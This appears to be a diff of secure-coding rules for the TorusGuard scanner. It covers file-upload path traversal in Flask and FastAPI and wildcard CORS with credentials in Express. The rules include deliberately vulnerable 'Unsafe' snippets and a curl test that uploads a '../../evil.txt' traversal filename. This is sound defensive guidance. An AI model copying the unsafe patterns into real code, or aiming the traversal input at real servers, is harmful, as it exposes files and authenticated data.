# Safe: Sanitize with secure_filename and generate a random UUID prefix
|
|
57
|
+
import uuid
|
|
58
|
+
from werkzeug.utils import secure_filename
|
|
59
|
+
|
|
60
|
+
ALLOWED_EXTENSIONS = {".png", ".jpg", ".jpeg", ".pdf"}
|
|
61
|
+
|
|
62
|
+
@app.route("/upload", methods=["POST"])
|
|
63
|
+
def upload():
|
|
64
|
+
file = request.files.get("file")
|
|
65
|
+
if not file:
|
|
66
|
+
return {"error": "No file"}, 400
|
|
67
|
+
|
|
68
|
+
filename = secure_filename(file.filename)
|
|
69
|
+
ext = os.path.splitext(filename)[1].lower()
|
|
70
|
+
|
|
71
|
+
if ext not in ALLOWED_EXTENSIONS:
|
|
72
|
+
return {"error": "Invalid file type"}, 400
|
|
73
|
+
|
|
74
|
+
safe_name = f"{uuid.uuid4().hex}_{filename}"
|
|
75
|
+
filepath = os.path.join(UPLOAD_FOLDER, safe_name)
|
|
76
|
+
file.save(filepath)
|
|
77
|
+
return {"status": "uploaded", "file_id": safe_name}
|
|
78
|
+
```
|
|
79
|
+
|
|
80
|
+
---
|
|
81
|
+
|
|
82
|
+
### 🐍 FastAPI (`UploadFile` & Safe Path Construction)
|
|
83
|
+
|
|
84
|
+
#### ❌ Unsafe Pattern
|
|
85
|
+
```python
|
|
86
|
+
# Unsafe: Direct path join with upload.filename
|
|
87
|
+
@app.post("/upload")
|
|
88
|
+
async def upload_file(file: UploadFile = File(...)):
|
|
89
|
+
dest = Path("/var/uploads") / file.filename
|
|
90
|
+
with open(dest, "wb") as f:
|
|
91
|
+
f.write(await file.read())
|
|
92
|
+
```
|
|
93
|
+
|
|
94
|
+
#### ✅ Safe Remediation
|
|
95
|
+
```python
|
|
96
|
+
# Safe: Whitelist extensions and store using generated UUIDs
|
|
97
|
+
import uuid
|
|
98
|
+
from pathlib import Path
|
|
99
|
+
from fastapi import FastAPI, UploadFile, File, HTTPException
|
|
100
|
+
|
|
101
|
+
UPLOAD_DIR = Path("/var/uploads").resolve()
|
|
102
|
+
ALLOWED_EXT = {".png", ".jpg", ".pdf"}
|
|
103
|
+
|
|
104
|
+
@app.post("/upload")
|
|
105
|
+
async def upload_file(file: UploadFile = File(...)):
|
|
106
|
+
ext = Path(file.filename).suffix.lower()
|
|
107
|
+
if ext not in ALLOWED_EXT:
|
|
108
|
+
raise HTTPException(status_code=400, detail="Disallowed file extension")
|
|
109
|
+
|
|
110
|
+
safe_filename = f"{uuid.uuid4().hex}{ext}"
|
|
111
|
+
destination = (UPLOAD_DIR / safe_filename).resolve()
|
|
112
|
+
|
|
113
|
+
# Assert destination stays within UPLOAD_DIR
|
|
114
|
+
if not str(destination).startswith(str(UPLOAD_DIR)):
|
|
115
|
+
raise HTTPException(status_code=400, detail="Path traversal detected")
|
|
116
|
+
|
|
117
|
+
content = await file.read(10 * 1024 * 1024) # Cap size to 10MB
|
|
118
|
+
with open(destination, "wb") as buffer:
|
|
119
|
+
buffer.write(content)
|
|
120
|
+
|
|
121
|
+
return {"file_id": safe_filename}
|
|
122
|
+
```
|
|
123
|
+
|
|
124
|
+
---
|
|
125
|
+
|
|
126
|
+
## 🧪 Verification & Reproduction
|
|
127
|
+
1. Test with traversal filename:
|
|
128
|
+
```bash
|
|
129
|
+
curl -F "file=@test.txt;filename=../../evil.txt" http://localhost:5000/upload
|
|
130
|
+
```
|
|
131
|
+
2. **Assertion:** Request must reject with `400 Bad Request` or save strictly inside upload directory as a sanitized UUID without directory traversal.
|
|
@@ -0,0 +1,101 @@
|
|
|
1
|
+
# TG-PLATFORM-001: Wildcard CORS With Credentials
|
|
2
|
+
|
|
3
|
+
## Severity
|
|
4
|
+
|
|
5
|
+
High
|
|
6
|
+
|
|
7
|
+
## Applies To
|
|
8
|
+
|
|
9
|
+
- API servers configuring CORS headers
|
|
10
|
+
- Express/Fastify/Nest middleware using `cors()` defaults
|
|
11
|
+
- Reverse proxies and gateways injecting `Access-Control-*` headers
|
|
12
|
+
- Session or cookie-authenticated APIs consumed by browsers
|
|
13
|
+
- Multi-tenant APIs with dynamic origin reflection logic
|
|
14
|
+
|
|
15
|
+
## Why It Matters
|
|
16
|
+
|
|
17
|
+
Credentialed cross-origin requests require strict origin controls.
|
|
18
|
+
Using wildcard origins with credentials breaks browser security guarantees.
|
|
19
|
+
Misconfigurations can expose authenticated responses to untrusted origins.
|
|
20
|
+
Even partial origin reflection bugs can create cross-site data leakage.
|
|
21
|
+
This often appears as a simple config mistake with severe impact.
|
|
22
|
+
|
|
23
|
+
## What TorusGuard Looks For
|
|
24
|
+
|
|
25
|
+
- `Access-Control-Allow-Origin: *` combined with `Access-Control-Allow-Credentials: true`
|
|
26
|
+
- CORS middleware configured with `origin: true` without allowlist validation
|
|
27
|
+
- Reflecting any incoming `Origin` header directly back in responses
|
|
28
|
+
- Missing per-environment allowlists for trusted frontends
|
|
29
|
+
- Inconsistent preflight handling between gateway and application
|
|
30
|
+
- Session-cookie APIs that allow broad or dynamic untrusted origins
|
|
31
|
+
|
|
32
|
+
## Unsafe Example
|
|
33
|
+
|
|
34
|
+
```ts
|
|
35
|
+
import cors from "cors";
|
|
36
|
+
|
|
37
|
+
app.use(cors({
|
|
38
|
+
origin: "*",
|
|
39
|
+
credentials: true
|
|
40
|
+
}));
|
|
41
|
+
```
|
|
42
|
+
|
|
43
|
+
```ts
|
|
44
|
+
app.use((req, res, next) => {
|
|
45
|
+
res.setHeader("Access-Control-Allow-Origin", req.headers.origin || "*");
|
|
46
|
+
res.setHeader("Access-Control-Allow-Credentials", "true");
|
|
47
|
+
next();
|
|
48
|
+
});
|
|
49
|
+
```
|
|
50
|
+
|
|
51
|
+
## Safe Example
|
|
52
|
+
|
|
53
|
+
```ts
|
|
54
|
+
import cors from "cors";
|
|
55
|
+
|
|
56
|
+
const allowedOrigins = new Set([
|
|
57
|
+
"https://app.example.com",
|
|
58
|
+
"https://admin.example.com"
|
|
59
|
+
]);
|
|
60
|
+
|
|
61
|
+
app.use(cors({
|
|
62
|
+
origin(origin, cb) {
|
|
63
|
+
if (!origin) return cb(null, true);
|
|
64
|
+
if (allowedOrigins.has(origin)) return cb(null, true);
|
|
65
|
+
return cb(new Error("Origin not allowed"));
|
|
66
|
+
},
|
|
67
|
+
credentials: true
|
|
68
|
+
}));
|
|
69
|
+
```
|
|
70
|
+
|
|
71
|
+
## Remediation
|
|
72
|
+
|
|
73
|
+
1. Remove wildcard origins from any credentialed CORS configuration.
|
|
74
|
+
2. Build explicit allowlists for known trusted web origins per environment.
|
|
75
|
+
3. Validate dynamic origin logic against exact matches, not substring checks.
|
|
76
|
+
4. Keep gateway and app-layer CORS behavior consistent and documented.
|
|
77
|
+
5. Restrict allowed methods and headers to required minimums.
|
|
78
|
+
6. Add tests for preflight and credentialed fetches from trusted/untrusted origins.
|
|
79
|
+
7. Monitor rejected origins to detect probing and config drift.
|
|
80
|
+
8. Reassess CORS when adding new frontend domains or auth mechanisms.
|
|
81
|
+
|
|
82
|
+
## Verification
|
|
83
|
+
|
|
84
|
+
- Send credentialed requests from allowed and disallowed origins; verify behavior.
|
|
85
|
+
- Confirm responses never include `*` with credentials enabled.
|
|
86
|
+
- Validate preflight responses include only expected methods/headers.
|
|
87
|
+
- Test browser behavior with real `fetch(..., { credentials: "include" })`.
|
|
88
|
+
- Review gateway response headers in production, not just local dev.
|
|
89
|
+
|
|
90
|
+
## False Positives and Exceptions
|
|
91
|
+
|
|
92
|
+
- Non-browser clients where CORS headers are irrelevant to access control
|
|
93
|
+
- Public, fully unauthenticated read-only APIs not using credentials
|
|
94
|
+
- Local development permissive origins, if isolated from production configs
|
|
95
|
+
- Strictly internal tools with network isolation and documented risk acceptance
|
|
96
|
+
|
|
97
|
+
## Related Rules
|
|
98
|
+
|
|
99
|
+
- `TG-AUTH-004-insecure-session-cookie.md`
|
|
100
|
+
- `TG-AUTH-002-client-only-authorization.md`
|
|
101
|
+
- `TG-PLATFORM-002-missing-security-headers.md`
|